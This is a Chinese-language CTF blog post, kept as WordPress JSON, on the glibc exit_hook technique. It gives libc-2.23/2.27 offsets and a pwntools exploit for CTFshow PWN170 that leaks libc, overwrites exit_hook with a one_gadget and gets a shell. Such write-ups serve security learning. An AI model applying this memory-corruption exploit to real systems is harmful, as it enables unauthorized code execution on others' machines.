{"id":830,"date":"2025-01-20T17:10:45","date_gmt":"2025-01-20T09:10:45","guid":{"rendered":"http:\/\/8.141.27.105\/?p=830"},"modified":"2025-01-20T17:10:46","modified_gmt":"2025-01-20T09:10:46","slug":"pwnexit_hook%e5%88%a9%e7%94%a8","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/20\/pwnexit_hook%e5%88%a9%e7%94%a8\/","title":{"rendered":"PWN|exit_hook\u5229\u7528"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #f4f4f4;color:#f4f4f4\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #f4f4f4;color:#f4f4f4\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/20\/pwnexit_hook%e5%88%a9%e7%94%a8\/#%E5%8E%9F%E7%90%86\" title=\"\u539f\u7406\">\u539f\u7406<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/20\/pwnexit_hook%e5%88%a9%e7%94%a8\/#%E4%BE%8B%E9%A2%98%EF%BC%9ACTFSHOW_PWN170\" title=\"\u4f8b\u9898\uff1aCTFSHOW PWN170\">\u4f8b\u9898\uff1aCTFSHOW PWN170<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%8E%9F%E7%90%86\"><\/span>\u539f\u7406<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u6709\u65f6\u5019\u5728\u4e00\u4e9b\u9898\u4e2d\u7a0b\u5e8f\u6ca1\u6709return\uff0c\u800c\u662f\u76f4\u63a5\u901a\u8fc7exit(0)\u6765\u9000\u51fa\uff0c\u8986\u76d6ret\u6ca1\u7528\u4e86\u5e94\u8be5\u5982\u4f55\u52ab\u6301\u7a0b\u5e8f\u63a7\u5236\u6d41\uff1f\u6b64\u65f6\u53ef\u4ee5\u7528\u5230exit_hook\uff0c\u7b80\u5355\u6765\u8bf4\u5c31\u662fexit\u51fd\u6570\u4f1a\u8c03\u7528__rtld_lock_lock_recursive\u548c\u00a0__rtld_lock_unlock_recursive\u4e24\u4e2a\u51fd\u6570\uff0c\u628a\u8fd9\u4e24\u4e2a\u51fd\u6570\u6539\u6210one_gadget\u5373\u53ef\u3002<\/p>\n\n\n\n<p>\u8be6\u7ec6\u53ef\u89c1\u8fd9\u4f4d\u5e08\u5085\u7684\u6587\u7ae0<a href=\"https:\/\/www.cnblogs.com\/bhxdn\/p\/14222558.html\">(*\u00b4\u2207\uff40*) \u6b22\u8fce\u56de\u6765\uff01<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%BE%8B%E9%A2%98%EF%BC%9ACTFSHOW_PWN170\"><\/span>\u4f8b\u9898\uff1aCTFSHOW PWN170<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u7a0b\u5e8f\u903b\u8f91\u5f88\u7b80\u5355\uff0c\u7ed9\u51fa\u4e86puts\u51fd\u6570\u5730\u5740\u548c\u6808\u5730\u5740\uff0c\u6709\u65e0\u7a77\u6b21\u4efb\u610f\u5730\u5740\u5199\u7684\u673a\u4f1a\uff0c\u7528exit(0) \u9000\u51fa\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/7XUMB21W32S2J6VX1C-1024x608.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"608\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/7XUMB21W32S2J6VX1C-1024x608.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-831\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u4e14\u5f00\u542f\u4e86full relro\uff0c\u4e0d\u80fd\u6539got\u8868\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/Z2GJ@2EUBATKW_ZW24.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"349\" height=\"175\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/Z2GJ@2EUBATKW_ZW24.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-832\"  sizes=\"auto, (max-width: 349px) 100vw, 349px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u6839\u636e\u539f\u7406\u7be1\u6539exit_hook\uff0c\u901a\u8fc7p &amp;_rtld_global\u53ef\u4ee5\u770b\u504f\u79fb\uff0c\u8fd9\u91cc\u7ed9\u51fa\u5e38\u89c1\u7248\u672c\u7684exit_hook\u504f\u79fb\uff1a<\/p>\n\n\n\n<p><strong>\u5728libc-2.23\u4e2d<\/strong><br><strong>exit_hook = libc_base+0x5f0040+3848<\/strong><\/p>\n\n\n\n<p><strong>exit_hook = libc_base+0x5f0040+3856<\/strong><\/p>\n\n\n\n<p><strong>\u5728libc-2.27\u4e2d<\/strong><\/p>\n\n\n\n<p><strong>exit_hook = libc_base+0x619060+3840<\/strong><\/p>\n\n\n\n<p><strong>exit_hook = libc_base+0x619060+3848<\/strong><\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ad2f72ca wp-block-group-is-layout-flex\">\n<p>\u76f4\u63a5\u6253\u5c31\u884c\uff0c\u75283840\u6253\u4e0d\u901a\uff0c3848\u80fd\u6253\u901a\uff0c\u539f\u56e0\u672a\u77e5\uff1a<\/p>\n<\/div>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext(arch ='amd64',os = 'linux',log_level = \"debug\")\nio = remote(\"pwn.challenge.ctf.show\",28114)\nelf = ELF('\/home\/monke\/PWN\/CTFSHOW\/170\/170')\nlibc = ELF('\/home\/monke\/PWN\/buulibc\/libc-2.27-64.so')\n\nio.recvuntil(\"puts: \")\nputs = io.recv(14)\nputs=int(puts,16)\nprint(hex(puts))\n\nio.recvuntil(\"stack: \")\nstack = io.recv(14)\nstack=int(stack,16)\nprint(hex(stack))\n\nlibc_base=puts-libc.sym&#91;\"puts\"]\nog=libc_base+0x4f322\nexit_hook = libc_base+0x619060+3848\nio.sendlineafter(\"(q)uit\\n\",b\"w\")\nio.sendlineafter(\"ptr: \",str(exit_hook))\nio.sendlineafter(\"val: \",str(og))\nio.sendlineafter(\"(q)uit\\n\",b\"q\")\nio.interactive()\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/@X2SUZ65BWC1Q4@QZP_1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"934\" height=\"485\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/@X2SUZ65BWC1Q4@QZP_1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-833\"  sizes=\"auto, (max-width: 934px) 100vw, 934px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>\u539f\u7406 \u6709\u65f6\u5019\u5728\u4e00\u4e9b\u9898\u4e2d\u7a0b\u5e8f\u6ca1\u6709return\uff0c\u800c\u662f\u76f4\u63a5\u901a\u8fc7exit(0)\u6765\u9000\u51fa\uff0c\u8986\u76d6ret\u6ca1\u7528\u4e86\u5e94\u8be5\u5982\u4f55\u52ab\u6301\u7a0b\u5e8f [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[14],"class_list":["post-830","post","type-post","status-publish","format-standard","hentry","category-13","tag-pwn"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/830","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=830"}],"version-history":[{"count":1,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/830\/revisions"}],"predecessor-version":[{"id":834,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/830\/revisions\/834"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=830"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=830"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=830"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}